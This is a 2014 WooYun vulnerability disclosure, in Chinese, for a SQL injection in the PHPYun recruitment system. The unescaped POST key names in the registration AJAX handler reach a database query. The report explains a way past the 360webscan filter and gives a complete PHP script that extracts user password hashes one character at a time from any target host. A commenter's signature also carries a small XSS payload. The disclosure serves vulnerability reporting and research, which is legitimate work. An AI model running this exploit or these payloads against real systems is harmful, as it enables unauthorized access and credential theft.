当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2014-68670

漏洞标题: Phpyun注入一枚绕过360注射附exp

相关厂商: php云人才系统

漏洞作者: ′雨。认证白帽子

提交时间: 2014-07-16 10:23

公开时间: 2014-10-14 10:24

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-16: 细节已通知厂商并且等待厂商处理中
2014-07-16: 厂商已经确认,细节仅向厂商公开
2014-07-19: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-09: 细节向核心白帽子及相关领域专家公开
2014-09-19: 细节向普通白帽子公开
2014-09-29: 细节向实习白帽子公开
2014-10-14: 细节向公众公开

简要描述:

可以引入单引号, 但是在这里也不需要引入单引号。

虽然有360 但是还是能注入出密码。

写了个小脚本来跑。(代码很渣 速度很慢 但是还是能跑完整) - - 特么的完全不会写, 太渣了。

详细说明:

在model/register.class.php中。



code 区域
function ajax_reg_action(){

$post = array_keys($_POST);
$key_name = $post[0];

if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);
if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
$user = $this->obj->DB_select_once("member","`username`='".$username."'");
}
if($this->config['sy_regname']!=""){
$regname=@explode(",",$this->config['sy_regname']);
if(in_array($username,$regname)){
echo 2;die;
}
}
}else{
$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
}
if(is_array($user)){echo 1;}else{echo 0;}





首先在这里 $post = array_keys($_POST);

获取了POST来的key 。$key_name = $post[0]; 然后$key_name从数组里面取了第一个。



都知道phpyun的全局过滤会把单引号过滤的, 但是那是针对value 在这里是key 所以完全可以引入单引号。 但是在这里并不需要引入单引号。。



继续看。

code 区域
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);
if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{



可以 如果$key_name != username就进入else 继续看。



$this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");

然后就直接带入到了查询当中,而且是做的key。



这里执行的语句为



SELECT * FROM phpyun_member WHERE `xx`='asd'



这里xx 和 asd都是可控的 这里asd那里肯定是不能利用的 因为在value 单引号会被转义的。



这里来控制key 这里构造一下。



因为key中不能含有空格 所以空格就用+号来替换一下。



这里来构造一下key



username`or%2Bif(ascii(substr(password,$yu,1))=$i,1,0)#=asd



有360webscan 但是这语句可以通过360webscan的。



可是在这里 key中也不能含有=号 会被替换`=



这简单 把=号换成<>



username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd



在这里如何查询出来的和$i想等 那么就会输出0 其他情况就会输出1.



这里写个小脚本。





P.S. 没学过语言。。 完全都是瞎写的, 刚好之前写的74cms那个和现在这个差不多。 直接用那个改一下就可以了

漏洞证明:

code 区域
<?php

$host=$argv[1];

$yu=1;
for($i=0;$i<120;$i++){

$lenth=strlen($result);

if ($lenth==32){

echo "\r\n";
echo "Ok The password is:$result";
exit;

};

$content="username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd";
$url = $host.'/index.php?m=register&c=ajax_reg';//接收XML地址
$header = "Content-type: text/xml";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
$response = curl_exec($ch);
if(curl_errno($ch)){
print curl_error($ch);
}
curl_close($ch);


if(eregi('0',$response)){

echo chr($i);
$result.=chr($i);
$lenth=strlen($result);
$yu=++$yu;
$i=0;
}
}
?>







p1.jpg





脚本跑出来的 和数据库中的用户密码一样。



- - 就是脚本太渣了, 速度比较慢。

修复方案:

限制一下key。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-07-16 10:28

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-07-16 10:38 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    膜拜。

  2. 2014-07-16 10:44 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    1

    果断昨晚真的开启白盒审计模式了

  3. 2014-07-16 11:05 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    1

    顶一下

  4. 2014-09-06 18:06 | 从容 ( 普通白帽子 | Rank:359 漏洞数:94 | Enjoy Hacking Just Because It's Fun | ...)
    0

    @泳少 代码审计都是白盒…

  5. 2014-09-06 19:41 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    @从容 表示你不懂那天我们说的事

  6. 2015-01-01 22:51 | flying ( 路人 | Rank:4 漏洞数:2 | 呵呵)
    1

    @从容 @泳少 求解什么是白盒黑盒

登录后才能发表评论,请先 登录